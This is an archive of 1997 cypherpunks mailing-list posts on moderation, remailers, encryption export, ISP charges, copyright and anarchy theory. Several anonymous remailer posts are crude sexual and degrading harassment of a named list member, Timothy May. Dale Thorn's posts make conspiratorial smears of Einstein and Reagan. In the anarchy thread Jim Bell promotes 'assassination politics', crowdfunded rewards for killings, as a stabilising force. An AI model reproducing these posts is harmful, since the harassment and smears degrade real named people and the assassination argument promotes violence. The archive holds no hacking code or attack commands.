Message-ID: <199702082132.PAA06451@falcon.inetnebr.com> Ok...this is the fourth junk e-mail I've received that I don't want. Your account is in jeapordy, and my advice is for you to just stop sending me this junk. Take me off your e-mail list, NOW. If this e-mail from me, being mad at you, is what makes you happy, and is how you have fun, then you just have a personal problem and I feel sorry for you. Do what you can to heal yourself...meanwhile, don't send me anymore...your isp provider is next on my e-mail list. ---------- > From: Dale Thorn > To: freedom-knights at jetcafe.org; cypherpunks at toad.com > Cc: Against Moderation ; InterNet Freedom Council > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 10:54 AM > > ??? wrote: > > [some text deleted] > > > > Before I explain what has happened, I want to make one thing > > > absolutely clear. Though I've thought the moderation of cypherpunks > > > was a terrible idea from the start and am even more convinced of it > > > now, I don't assign any blame to Sandy. I believe he offered to > > > moderate the list with the best of intentions, and I sincerely > > > appreciate his efforts to try to revive what was once a fantastic > > > mailing list, even if in my opinion those efforts have backfired. > > This is the fatal mistake, assuming it's really a mistake. > I've worked under several corporations where, at a certain > point in time, things just "went crazy", and the owners/ > managers were scrambling desperately to plug as many holes > in the dike as they possibly could, to no avail. > > People don't understand why things just "go crazy" at a particular > point, and so they accept the coincidence theory ruse, lacking any > other evidence. Use your head, folks. This is not a list made up > of sewing-circle nannies, these are security people, NSA, CIA, and > all the ugly things you shut out of your conversations because you > don't want to admit the truth. "Paranoia is a way of knowing". > > Today I saw an old picture of Albert Einstein in full Indian regalia, > smoking a peace pipe with some Hopi people. I thought of the Capone > mob and the "kiss of death", or Judas and Jesus, you get the picture. > > So Einstein puts his name and reputation and personal seal of approval > on the creation of the Doomsday Device, the atom bomb, knowing full > well that it will be used to murder millions of people. What does he > do for an encore? Plants the "kiss of death" on the Hopis, whose > environment is co-opted by the mad bombers and their Nazi-infested > thug "scientist" cohorts, for the experimentation and storage of > nuclear and other hazardous materials. You know, Nevada, Arizona, > New Mexico, all those "useless, desert lands" occupied by the > Indians. > From 2ndSun at bigfoot.com Sat Feb 8 13:33:51 1997 From: 2ndSun at bigfoot.com (Jerry Basham) Date: Sat, 8 Feb 1997 13:33:51 -0800 (PST) Subject: Internet Alert! Pay for local dial-up?? Message-ID: <199702082133.PAA06475@falcon.inetnebr.com> Take me off your list or I will complain to your isp. ---------- > From: Dale Thorn > To: freedom-knights at jetcafe.org; cypherpunks at toad.com > Cc: E-Mail Communications > Subject: Re: Internet Alert! Pay for local dial-up?? > Date: Saturday, February 08, 1997 11:09 AM > > E-Mail Communications wrote: > > > See our "Patriotic Quotes That Make Sense" > > at the end of this publication. > > > "We will always remember. We will always be proud. We will > > always be prepared, so we may always be free." > > -- President Ronald W. Reagan June 6, 1984 - Normandy, France > > What Ronald Reagan didn't say (but what he really meant): > > "I come here to Bitburg to honor the fallen Nazis, because I am in > fact an honorary Nazi myself. Just ask my personal secretary Helen, > who used to work for Fritz Kraemer." > From 2ndSun at bigfoot.com Sat Feb 8 13:41:13 1997 From: 2ndSun at bigfoot.com (Jerry Basham) Date: Sat, 8 Feb 1997 13:41:13 -0800 (PST) Subject: Junk e-mails Message-ID: <199702082141.PAA06979@falcon.inetnebr.com> I'm receiving a bunch of inane e-mails from your domain. Could you please put a stop to it? It's coming to all of my e-mail addresses, including the one below. 2ndSun at bigfoot.com------------------------------------------------- ---------------------------------------Learning to Remember the Future---http://www.geocities.com/HotSprings/5335 From mgursk1 at umbc.edu Sat Feb 8 13:54:07 1997 From: mgursk1 at umbc.edu (Michael Gurski) Date: Sat, 8 Feb 1997 13:54:07 -0800 (PST) Subject: remailer-operators DEA agents? In-Reply-To: <19970207054708.10191.qmail@squirrel.owl.de> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On 7 Feb 1997, Secret Squirrel wrote: > Dr.Dimitri Vulis KOTM wrote: > > c.musselman at internetmci.com (Charley Musselman) writes: > > > C'punks -- > > > When I told a friend about the alt.drugs.pot cultivation newsgroup > > > and suggested that he use an anonymous remailer to post to the group, > > > he laughed and said, "Who do you suppose runs the remailers? ATF, > > > FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does > > > anyone know the answer? Specifically, how can we choose a trusted > > > remailer? > > > > Even if the feds are not directtly involved, the so-called "cypher punk" > > remailers are run by people who should not be trusted. Check out their > > remailer-operators list: it's full of announcements that some specific > > person posted something via the remailer that the operator didn't like. > > Examples, please? What [I believe] is being referred to is an incident where someone seriously messed up the formatting on a message sent through a remailer to the point where it ended up in a mailbox on the system as opposed to the intended destination, at which point the operator of the remailer (I can't recall off the top of my head who) reported to remailer-operators at c2.net that xyz at foo.bar was trying to send some type of image file to someone at some.where... Not at all monitoring the messages going through the remailer, just reporting something that was so F.U.B.A.R. that the software couldn't figure out what was supposed to happen. |\/|ike Gurski mgursk1 at umbc.edu http://www.gl.umbc.edu/~mgursk1/ finger/mail subject "send pgpkey"|"send index" Hail Eris! -><- O- |Member, 1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570 | Team My opinions are mine alone, even if you should be sharing them. | OS/2 Senate Finance Committee Chair, SGA 1996-1997 -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: I am not a number, I am a free man! iQCVAwUBMvz12SKEMrE5tbrdAQEAfgQApK3IUcaOOM/KteCoJ0DM8waK9S9dOVSF d9Zm89R+tljTsWxyrAF/4rgFqIl18z0ZdpsvsK8JIZ7oTRYNCxhPozW4Txbt2ixm /MkVG6ts/oict66576jMAz9xPR35VKsS1F/EWHgc3g8QL9Qm3JMY+jPDNwc4oQJZ tD6ozLTO5Pg= =dWkc -----END PGP SIGNATURE----- From dlv at bwalk.dm.com Sat Feb 8 14:10:07 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 8 Feb 1997 14:10:07 -0800 (PST) Subject: META: Censorship is Going Way too Far In-Reply-To: Message-ID: "Timothy C. May" writes: > Fellow Cypherpunks (of the virtual community, even if not part of any > particular version of the list(s)), I'm not your fellow "cypher punk". > The subjects of my articles deal with the claims made by "Against > Moderation" and Vulis that certain articles were filtered from the stream > of articles without appearing on either the main list or the flames list, > and with no mention by the Moderator of this significant change to the > moderation policies. What makes me different from a "cypher punk" is that a "cypher punk" like Timmy begins to squirm only when his own freedom of speech is threatened. The concept of defending someone else's freedom, even if he doesn't share that person's views, is totally alien to Timmy. Like I said before, any censorship is "too much" censorship, just like a woman can't be just a little bit pregnant. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From jimbell at pacifier.com Sat Feb 8 14:43:02 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 8 Feb 1997 14:43:02 -0800 (PST) Subject: Enlightened commentary on Netizen. Message-ID: <199702082242.OAA01411@mail.pacifier.com> At 08:41 PM 2/6/97 -0800, Anil Das wrote: >First, Rebecca Vesely has a special report, the main thrust >of which is that three firms being allowed to export 56 bit >encryption indicates flexibility on the part of the >government. >http://www.netizen.com/netizen/97/05/special2a.html >To top it off, here are two gems from the followup discussion. >http://www.netizen.com/cgi-bin/interact/replies_all?msg.37387 > >2. 56 ONLY A SLIGHTLY SMALLER JOKE > Ric Allan (ricrok) on Wed, 5 Feb 97 11:53 PST > > If it takes a college student four hours to break > a 40bit code it should take him/her about six > hours to do the same to 56bits. Then what excuses > are the government and its butt-kissing companies > going to give us for not allowing *real* coding? Ironically, we (the good guys) are going to be the beneficiaries of an ignorant public, for a change! We all know that difficulty is not linear with bit-size, but hearing that "40 bits is crackable in four hours!" will be interpreted by non-technical people as a strong level of suspicion directed at DES as well. Jim Bell jimbell at pacifier.com From nobody at wazoo.com Sat Feb 8 15:32:34 1997 From: nobody at wazoo.com (Anonymous) Date: Sat, 8 Feb 1997 15:32:34 -0800 (PST) Subject: Cellular encryption Message-ID: <199702082332.QAA15105@earth.wazoo.com> Dimitri Vasectomy K`adaver'OTM is so full of shit that some of it bursts out on this mailing list. ^ ^ (o o) Dimitri Vasectomy K`adaver'OTM ( ) \___/ !_! From ios at idirect.com Sat Feb 8 17:05:55 1997 From: ios at idirect.com (IconOfSin) Date: Sat, 8 Feb 1997 17:05:55 -0800 (PST) Subject: Fw: Internet Alert! Pay for local dial-up?? Message-ID: <199702090105.UAA28142@nemesis.idirect.com> ---------- > From: E-Mail Communications > To: you at alberta.sallynet.com > Subject: Internet Alert! Pay for local dial-up?? > Date: Saturday, February 08, 1997 7:09 PM > > > ***************************************** > > INTERNET USERS ALERT!!! It has come to our attention that several > local telephone companies have petitioned the FCC for permission > to charge Internet Users by the minute for LOCAL dial-up telephone > service. This would affect every Internet User, including those > using AOL dial-up. > > For more information, see the FCC site: http://www.fcc.gov/isp.htm. > Please send an E-Mail to isp at fcc.gov > to express your outrage at the idea of allowing telephone companies > to charge by the minute for LOCAL dial-up service. E-Mail comments > must be sent by Feb. 13th, 1997. This affects every Internet user!! The question is.... "what can *WE* do. IconOfSin Fly DALnet! /server irc.dal.net 7000 Msg IconOfSin :) From dthorn at gte.net Sat Feb 8 18:46:32 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 8 Feb 1997 18:46:32 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation In-Reply-To: <199702082132.PAA06451@falcon.inetnebr.com> Message-ID: <32FD2CD8.7F23@gte.net> Jerry Basham wrote: > Ok...this is the fourth junk e-mail I've received that I don't want. Your > account is in jeapordy, and my advice is for you to just stop sending me > this junk. Take me off your e-mail list, NOW. > If this e-mail from me, being mad at you, is what makes you happy, and is > how you have fun, then you just have a personal problem and I feel sorry > for you. > Do what you can to heal yourself...meanwhile, don't send me anymore...your > isp provider is next on my e-mail list. Jerry, my provider is GTE, and if you think you can make a dent in them, go ahead and butt your head against the wall. No sweat offa my ass. OTOH, if you stop bitching and groaning long enough to figure out who is doing the remailing etc., then you'll be miles ahead. I'm not optimistic. From dthorn at gte.net Sat Feb 8 18:46:59 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 8 Feb 1997 18:46:59 -0800 (PST) Subject: What else do I need for an Internet Server In-Reply-To: <199702081744.JAA12384@f22.hotmail.com> Message-ID: <32FD350A.588@gte.net> Otto Matic wrote: > >Otto Matic wrote: > >> What else do I need for an internet server? > >> HP Vectra Towers 2 each 486 cyrex chips 50 meg processor Need high > >> speed hard drives. These are the Tall Towers that have multiple > >> drives, these are server towers. > >> I think I have a router Hub. And a couple LAN cards. > >> That's all I have. But I just got them, and I want to use them. I assume I > >> will be using some kind of UNIX software. > >HP does some strange things to their BIOS software - you may want to > >get one of those net analyzer tools and some low-level software that > >can monitor what your HP's are sending and receiving, just in case. > >They don't normally use Vectras for UNIX, so what effects you can > >expect, I don't know. > Dale, Thanks for your reply. Really I'm not sure about UNIX, I was just > guessing. What I really need is a B.O.M (bill of materials). What other > 'hardware' will I need to round up in order to get this server up and running. Some of the guys in the HP user group have UNIX running on Vectras, but they also use a full raft of hardware tools, which I don't have access to. There's an actual HP-48 calculator, complete in every way including appearance, running on that version of UNIX. Don't remember the name, but it comes on a few CD's, and costs around $50. To me, 486 and 50 mhz suggest something HP is getting far removed from, so don't expect much help there. Few if any computer outlets will be able to handle the HP peculiarities. You shouldn't have any trouble getting the general parts list off the internet here and there, and there used to be HP forums to provide off-line support on Vectra hardware, but it might be harder with older equipment. Suggestion: Call HP Palo Alto at 415-857-1501, and tell them you need to talk to someone who knows internet domain names for info on Vectras and the like. Don't let them slough you off - if they don't have the info, make them give you another name and number. If you get a runaround after several calls, let me know who you talked to, on what phone #'s, at what time, and I'll give it a shot myself. From nobody at huge.cajones.com Sat Feb 8 19:19:04 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sat, 8 Feb 1997 19:19:04 -0800 (PST) Subject: [STEGO] PRNG Message-ID: <199702090319.TAA04411@mailmasher.com> Timothy May sits at his terminal dressed in five-inch stiletto heels, fishnet stockings, a gold-lame mini-skirt, a purple halter with girdle underneath to keep in his flabby gut, a Fredericks of Hollywood padded bra also underneath the halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank whenever a black man responds to one of his inane rants. < > < > V )_.._( V \\ <____> // ~ <______> ~ > /~\______/~\ // /~\_____/~\ /_\ /~\____/~\ /_\ /~\___/\~\ _/_\/ \___/\__/__\/ \___/__\/ From jimbell at pacifier.com Sat Feb 8 20:47:43 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 8 Feb 1997 20:47:43 -0800 (PST) Subject: ISPs vs Bells - Email FCC Message-ID: <199702090447.UAA01088@mail.pacifier.com> At 11:26 AM 2/7/97 -0500, Derrick Storren wrote: >By Michelle V. Rafter >LOS ANGELES - Regional phone companies and Internet service providers >are waging a war of words over Internet traffic on the nation's local >telephone network and who should pay for upgrades as the online boom >continues. [snip] >In one corner, Pacific Bell, Bell Atlantic and other regional phone >carriers say the growth of Internet traffic is pushing local telephone >networks to the breaking point. > >Pacific Bell, for example, says Internet surfers use its phone lines an >average of 45 minutes a day -- more than twice the amount the network >was built to handle. Heavy Internet use in Silicon Valley led to brief >service outages in that area earlier this year, the company said. This is an "excellent" example of lying with statistics. Contrary to the implication above, telephone switches aren't designed to handle a certain amount of telephone traffic per day; Rather, they are designed to handle a certain peak amount of traffic. This, and the knowledge about the typical usage patterns that communities generally see in their telephones allows a statistician to estimate how much traffic that switch will actually see per day, in the real world. However, change the pattern of usage, perhaps by adding usage to previously-underused time periods, and you could dramatically increase the daily traffic statistics for a given telephone switch. If, say, 2% of the population were to suddenly decide to make 6-hour phone calls daily between 12 midnight and 6am, a time of very low usage, you might increase the average daily usage by 50%, but with absolutely no increase in the peak usage during the daytime hours nor need for new switches. While that's a fanciful example, a similar effect occurs, I think. I've seen a set of graphs showing the typical usage level for the Teleport ISP, and it appears that while usage reaches a level of about 70% between about 8 am and 4 PM, it continues to increase after 4pm, solidly peaking between 8 pm and 11 pm at about 98% usage. This is long past the time that most humans make voice phone calls. The implication is that easily 3/5 of Teleport's traffic occurs after 4 pm and 6 am next morning, a time frame which is definitely post-peak hours. (Traditionally, pre-Internet, telephone usages peaks at about 11 am and 3 pm.) Since modern telephone switches don't wear out, unused call capacity is simply wasted. It makes no sense to charge people more for services which cost the supplier no more to provide. >If, for example, Internet providers passed through an access fee of 1 >cent a minute, a subscriber spending 10 hours online a month would pay >an extra $6 -- hardly a deterrent, said David Goodtree, an analyst with >Forrester Research in Cambridge, Mass. Even that is unacceptable. If an average ISP's phone line was busy 50% of the time, with "only" an extra charge of 1 cent per minute, that would be an average charge of $7.20 per day, or $216 per month, as compared to a typical business line which might cost, say, $40 per month. Jim Bell jimbell at pacifier.com From jimbell at pacifier.com Sat Feb 8 20:47:46 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 8 Feb 1997 20:47:46 -0800 (PST) Subject: John's: In anarchy -everyone responsible Message-ID: <199702090447.UAA01084@mail.pacifier.com> At 01:35 AM 2/6/97 -0600, snow wrote: >> At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote: >> >on or about 970204:0312 Greg Broiles said: >> >+ Is the desire for an anarchic community at odds with a desire for >> >+ good use of resources? >> Actually, it is quite possible that an "anarchic community" is _more_ >> efficient in the use of resources than some sort of organized community. >> It is explained, for example, that the reason there are so many different >> kinds of life on earth is that there are so many ecological niches to fill. > > Good does not necessarily mean efficient, and efficient does not >necessarily mean good. Since the definition of "good" above wasn't specified, I substituted "efficient." > Picture--if you can--the "perfect" centrally planned economy where all >possible market conditions, wants and needs are taken into account. Factories >are placed optimally for access to natural resources and distribution to >consumers etc. Also assume that the people running this society _are_ intersted >in efficient production methods, and activly look for new and better ways of >getting things done--benign facism/socialism if you will. This would (assuming >perfect people, but bear with me) be the _most efficient_ method of producing >and delivering goods, but it would introduce certain "choke points", one >natural disaster or war could cripple production of necessary items. Let me suggest, however, that in addition to the "choke point" problem, it is also impossible, maybe even theoretically so, for a similar reason "Maxwell's Demon" is. Maxwell's Demon, for those unfamiliar with thermodynamics, was a gate which was postulated to allow the passage of molecules of energy greater than average, and stop the passage of molecules of energy less than average. The net result would have been, theoretically, a separation of a gas into two halves of dramatically different temperatures. However, given such a heat separation, it should be possible through some heat engine to extract energy from this difference, and return the gas to its prior statistical distribution of energies. Was this "something from nothing"? Obviously this appeared to be a serious contradiction, given the various laws of thermodynamics, and it was. It turns out that the source of the contradiction is the false presumption, implied above, that it is possible to identify and thus separate molecules without using appreciable amounts of energy. Perhaps not surprisingly, the amount of energy needed to do the separation is at least as great as whatever amount of energy you could theoretically extract from the system, almost magically balancing the books. I suggest that centrally-planned economic theory may fail for a very similar reason: Implicit in that analysis it is assume that it is possible to do a "cost-free" plan, where in reality costs do occur. Jim Bell jimbell at pacifier.com From EALLENSMITH at ocelot.Rutgers.EDU Sat Feb 8 20:51:49 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Sat, 8 Feb 1997 20:51:49 -0800 (PST) Subject: RRE: Copyright and the Net Message-ID: <01IF6WSIAY7Q9AN5VD@mbcl.rutgers.edu> From: IN%"rre at weber.ucsd.edu" 8-FEB-1997 23:44:12.64 To: IN%"rre at weber.ucsd.edu" CC: Subj: Copyright and the Net: Is Legislation the Answer? =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Tue, 4 Feb 1997 22:03:10 -0500 From: Dave Banisar Subject: Panel - Copyright and the Net: Is Legislation the Answer? Copyright and the Net: Is Legislation the Answer? ACM97: The Next 50 Years of Computing Sunday March 2 2:00 PM - 5:00 PM Fairmont Hotel San Jose, CA Sponsored by the U.S. Public Policy Committee of ACM (USACM) Panelists: Hank Barry, Pam Samuelson, Mark Stefik, Gio Wiederhold Moderator: Barbara Simons, Chair, USACM o What is the role of copyright in all-electronic publication world? Will it be replaced by contract law? o Can the needs of authors who want to publish for renown (academics) and authors that want to publish for pay (entertainment etc) be handled in one mechanism? o Should browsing on the World Wide Web of full copyrighted texts be made illegal because people make temporary copies in their computer's memory when they look at a web page? o Should online service providers, including libraries and universities, have to monitor user accounts in order to enforce copyright laws? o Should firms that compile data have intellectual property rights so that scientists and news reporters can't use the data without permission or payments? o How should existing differences in national copyright be handled in a networked world where national boundaries and are little more than a speedbump on the information superhighway? o Does technological protection for copyrighted works inherently undermine fair use ? These and related issues will confront the 105th Congress in the coming year. They will also be examined by this panel, which will discuss controversies surrounding the extension of copyright law to deal with cyberspace. Examples include: How does proposed legislation reflect the net? How much influence have lobbyists for the entertainment industry had in writing legislation? What should be the role of professional societies in analyzing policy initiatives? We will discussed legislation and international treaties that have been proposed by the White House. We will also examine both technical and legal approaches to problems created by the net, as well as how various approaches might impact the science, technology, and business communities. A significant amount of time will be allowed for audience interaction in the discussion. Biographical sketches Hank Barry is member of the firm of Wilson Sonsini Goodrich & Rosati and is Chairman of the firm's Interactive New Media practice group. He represents publicly and privately-held companies in the multimedia, software, computer, on-line and entertainment industries. Hank has authored numerous articles in the fields of venture capital, interactive media and technology transactions. He currently serves on the Editorial Board of the Cyberspace Lawyer. Hank received his law degree in 1983 from Stanford University, where he was managing editor of the Stanford Law Review. Pamela Samuelson is a Professor at the University of California at Berkeley where she holds a joint appointment at the School of Information Management and Systems and in the School of Law. She has written and spoken extensively on the challenges posed by digital technologies for the law, particularly in the field of intellectual property. She is a Contributing Editor of Communications of the ACM and a Fellow of the Electronic Frontier Foundation. Mark Stefik is a principal scientist at the Xerox Palo Alto Research Center. At Stanford University he received a Bachelor of Science degree in mathematics in 1970 and a Ph.D. in computer science in 1980. His current research activities are in approaches for creating, protecting, and reusing digital property. Stefik is review editor for the international journal "Artificial Intelligence" and has authored two books on AI-related topics and a third book on the Internet. Gio Wiederhold is a professor of Computer Science at Stanford University, with courtesy appointments in Medicine and Electrical Engineering. His research focuses on large-scale software construction, specifically applied to information systems, the protection of their content, often using knowledge-based techniques. Wiederhold has authored and coauthored more than 250 published papers and reports on computing and medicine. Wiederhold received a degree in Aeronautical Engineering in Holland in 1957 and a Ph. D. in Medical Information Science from the University of California at San Francisco in 1976. He has been elected fellow of the ACMI, the IEEE and the ACM. He currently serves on the ACM Publications Board, focusing on the move to electronic publication. Barbara Simons received her Ph.D. in Computer Science from U.C. Berkeley in 1981. She joined the Research Division of IBM in 1980; she is currently working in IBM Global Services. Simons is a Fellow of both the American Association for the Advancement of Science (AAAS) and ACM. In 1995 she was selected as one of 26 Internet "Visionaries" by c|net, and in 1994 Open Computing included her in its list of the top 100 women in computing. She was awarded the 1992 CPSR Norbert Wiener Award for Professional and Social Responsibility in Computing. Simons founded and chairs USACM, the ACM U. S. Public Policy Committee. From EALLENSMITH at ocelot.Rutgers.EDU Sat Feb 8 21:18:56 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Sat, 8 Feb 1997 21:18:56 -0800 (PST) Subject: MODERATION Message-ID: <01IF6XNGHTCK9AN5VD@mbcl.rutgers.edu> While I ultimately concluded it (or at least the manner of doing it) was a bad idea, I am appreciative of the effort. I hope this won't discourage you too much from trying out other (hopefully better) ideas. -Allen From EALLENSMITH at ocelot.Rutgers.EDU Sat Feb 8 23:16:05 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Sat, 8 Feb 1997 23:16:05 -0800 (PST) Subject: RRE: Proposed satellite monitoring of car movements in Sweden Message-ID: <01IF71TUZKSG9AN5VD@mbcl.rutgers.edu> In reply to Dr. Agre's comment, I'd point out that one normally has more than one insurance company to choose from... not the case with governmentally-imposed road taxes. -Allen From: IN%"rre at weber.ucsd.edu" 9-FEB-1997 02:12:23.32 To: IN%"rre at weber.ucsd.edu" CC: Subj: Proposed satellite monitoring of car movements in Sweden [If it wasn't taxes, it would be insurance.] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Thu, 6 Feb 1997 19:04:07 -0800 (PST) From: risks at csl.sri.com Subject: RISKS DIGEST 18.81 RISKS-LIST: Risks-Forum Digest Thursday 6 February 1997 Volume 18 : Issue 81 ---------------------------------------------------------------------- Date: Wed, 29 Jan 1997 20:39:29 +0100 (MET) From: Feliks Kluzniak Subject: Proposed satellite monitoring of car movements in Sweden The new issue of "Dagens IT", no. 3, dated 28 Jan - 3 Feb 1997 (a Swedish paper aimed at information technology professionals), contains an item that might be of some interest to those RISKS readers who followed discussions about automatic highway toll booths in the US and related subjects. My (probably imperfect) translation follows. Car users will be be put in "feetcuffs" (written by Margaretha Sundstroem) With the help of a new satellite system car users might pay different taxes, depending on when and where they drive. This is what the State communications commission is said to be discussing. According to (the newspaper) "Dagens Politik", the State communications commission is discussing a proposal to use satellites for determining car taxes in the future. It is proposed that all of Sweden's 3.5 million cars should be equipped with a little reader fastened to the instrument board. Car users would then buy cards that can be inserted into the reader. The card would communicate with a satellite that would register where you drive and for how long. The car tax would then be withdrawn from the card. The proposal has been put forward by the State institution for communication analysis. They estimate that just the Stockholm (tax) authorities would be able to earn six billion crowns by using this system. The costs for car users would thereby increase. - - - - The reference to "feetcuffs" (by analogy to "handcuffs" - ankle shackles?) is an allusion to radio transmitters that are irremovably fastened to the ankles of some criminals in this country so that the authorities can monitor their compliance with the rules of house arrest. The word "communication" is meant to include car traffic etc. The word "billion" is given in its US meaning: a thousand million. The risks? Apart from the risks of having very complex systems automatically determine how much you have to pay, there are the usual privacy considerations. Some cry out "big brother". Others say you are already in this situation if you carry a cellular phone. Feliks Kluzniak, Carlstedt Research & Technology, Gothenburg ------------------------------ End of RISKS-FORUM Digest 18.81 ************************ Standard Risks reuse notice: Reused without explicit authorization under blanket permission granted for all Risks-Forum Digest materials. The author(s), the RISKS moderator, and the ACM have no connection with this reuse. From omega at jolietjake.com Sat Feb 8 23:47:24 1997 From: omega at jolietjake.com (Omegaman) Date: Sat, 8 Feb 1997 23:47:24 -0800 (PST) Subject: John's: In anarchy -everyone responsible In-Reply-To: <199702051706.JAA01075@toad.com> Message-ID: <199702090747.BAA19162@jolietjake.com> In article <199702051706.JAA01075 at toad.com> "Attila T. Hun" writes: From: "Attila T. Hun" Date: Wed, 05 Feb 97 14:41:32 +0000 X-From-Line: attila at primenet.com Thu Feb 6 15:02:07 1997 X-VM-v5-Data: ([nil t nil nil nil nil nil nil nil] ["2456" "Wed" "5" "February" "1997" "14:41:32" "+0000" "Attila T. Hun" "attila at primenet.com" "<199702051706.JAA01075 at toad.com>" "57" "Re: John's: In anarchy -everyone responsible" nil nil nil "2" "1997020514:41:32" "John's: In anarchy -everyone responsible" (number " " mark "U Attila T. Hun Feb 5 57/2456 " thread-indent "\"Re: John's: In anarchy -everyone responsible\"\n") nil] nil) Sender: owner-cypherpunks at toad.com Precedence: bulk Lines: 57 X-Gnus-Article-Number: 23 Fri Feb 7 00:40:14 1997 -----BEGIN PGP SIGNED MESSAGE----- on or about 970204:2343 jim bell said: +At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote: +> In a "popular" anarchy, Jim Bell's assassination politics make +> perfectly good sense; but, a "popular" anarchy is not an _anarchy_. +I guess I don't understand the distinction you are trying to make, +between a "popular anarchy" and an "anarchy." Maybe you were trying +to distinguish between "dictatorship of the few (or one)" and +"dictatorship of the many (perhaps a majority)" but it didn't come out +very understandably. +Put simply, "anarchy is not the lack of order. It is the lack of +_orders_." disagree. pure anarchy is not the lack of "orders" --pure anarchy implies that everyone is imbued with that perfect sense of responsibility. +> anarchy is only possible in an ideal world where _everyone_ +> assumes not only responsibility for themselves, but for the common +> good. no malice, no greed, no need for assassination politics.... +No, that's traditional thinking and that's wrong. See AP part 8. +Freud believed (as "everyone" else believed, even myself, before AP) +that anarchy was inherently unstable. But it ISN'T, if the tools of +AP are used to stabilize it. And no, no altruism is necessary for AP +to work as well; no individuals are being asked to sacrifice +themselves for the common good. Rather, they are given the +opportunity to work to achieve a reward offered, cumulatively, by a +number of citizens. aah, but that is the difference between a _pure_ anarchy and a _popular_ anarchy. A pure _anarchy_ is sufficiently idealistic in that _noone_ lacks the necessary resonsibility to keep society moving, each individual in their own niche. As long as there is perfect responsibility in a perfect anarchy, then there is no need for AP. AP is a negative, or _punative_, influence; I might liken it to the Catholic Church which is a religion of fear, and an instrument of political control. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMvixAL04kQrCC2kFAQECsQQAlPSQRpEE2dAKkqrWSlPf79QhSBtYbjXa rEyAlOrmi8NOxgyb8hGF/VwVkURUKnPr4gGJW9JvwuPB2x/AQeT11ZEQyVqeFGNF 0W6WR7yv3XsOT9UM6JCP9hFLWU33BumcPd26w8f/Z5mx87qEUoXeJD4ApLv5QNI3 WlyL0xDT1PM= =sfD3 -----END PGP SIGNATURE----- -- _______________________________________________________________ Omegaman This is probably not an original idea, but... Here's a potential use for E-cash: a server that doles out Java apps to clients; the clients run the apps, calculating whatever results are needed, and uploads the results in return for E-cash (perhaps a zero-knowledge proof that the result is accurate? another is to use only a trusted pool of registered and accountable users rather than anonymous clients). The server admins would be paid by those who need computations, keeping a percentage and using the rest to be offered as E-cash to clients with spare computing power. A lot of possibilities here... a configuration where a set price is offered for a computation (the user can check for the highest offer on a server, or refuse an offer below a certain amount). Or maybe applets would only be doled out to systems that meet a certain criteria (minimum computing power). A more complex system where 'bids' are placed based on computing power is possible too (those w/better systems would want more cash, or be willing to pay it). Problem: open to forms of 'abuse' (imagine a sysadmin making E-cash using his employer's machines overnight). It might make an interesting experimental project to work on. --Rob ----- "The word to kill ain't dirty | Robert Rothenburg (WlkngOwl at unix.asb.com) I used it in the last line | http://www.asb.com/usr/wlkngowl/ but use a short word for lovin' | Se habla PGP: Reply with the subject and dad you wind up doin' time." | 'send pgp-key' for my public key. From haystack at holy.cow.net Sun Feb 9 05:32:11 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Sun, 9 Feb 1997 05:32:11 -0800 (PST) Subject: No Subject Message-ID: <199702091313.IAA16263@holy.cow.net> Timothy C[reep] Mayo's IQ is lower than the belly of a pregnant snake. ,/ \, ((__,-,,,-,__)), `--)~ ~(--` .-'( )`-, `~~`d\ /b`~~` | | (6___6) `---` From lutz at as-node.jena.thur.de Sun Feb 9 05:38:57 1997 From: lutz at as-node.jena.thur.de (Lutz Donnerhacke) Date: Sun, 9 Feb 1997 05:38:57 -0800 (PST) Subject: lead remailer is shut down In-Reply-To: <199702071958.LAA18779@peregrine.eng.sun.com> Message-ID: * Ed Falk wrote: > Can't remailers be written with basic spam safeguards? I.e. no mass > crossposts, limited # of posts by each individual client per day, etc.? Yes, thay can, but using PGP is enough to filter out the majority of spammers. -- | Lutz Donnerhacke +49/3641/380259 voice, -60 ISDN, -61 V.34 und Fax | From haystack at holy.cow.net Sun Feb 9 06:01:57 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Sun, 9 Feb 1997 06:01:57 -0800 (PST) Subject: No Subject Message-ID: <199702091342.IAA16533@holy.cow.net> NEW 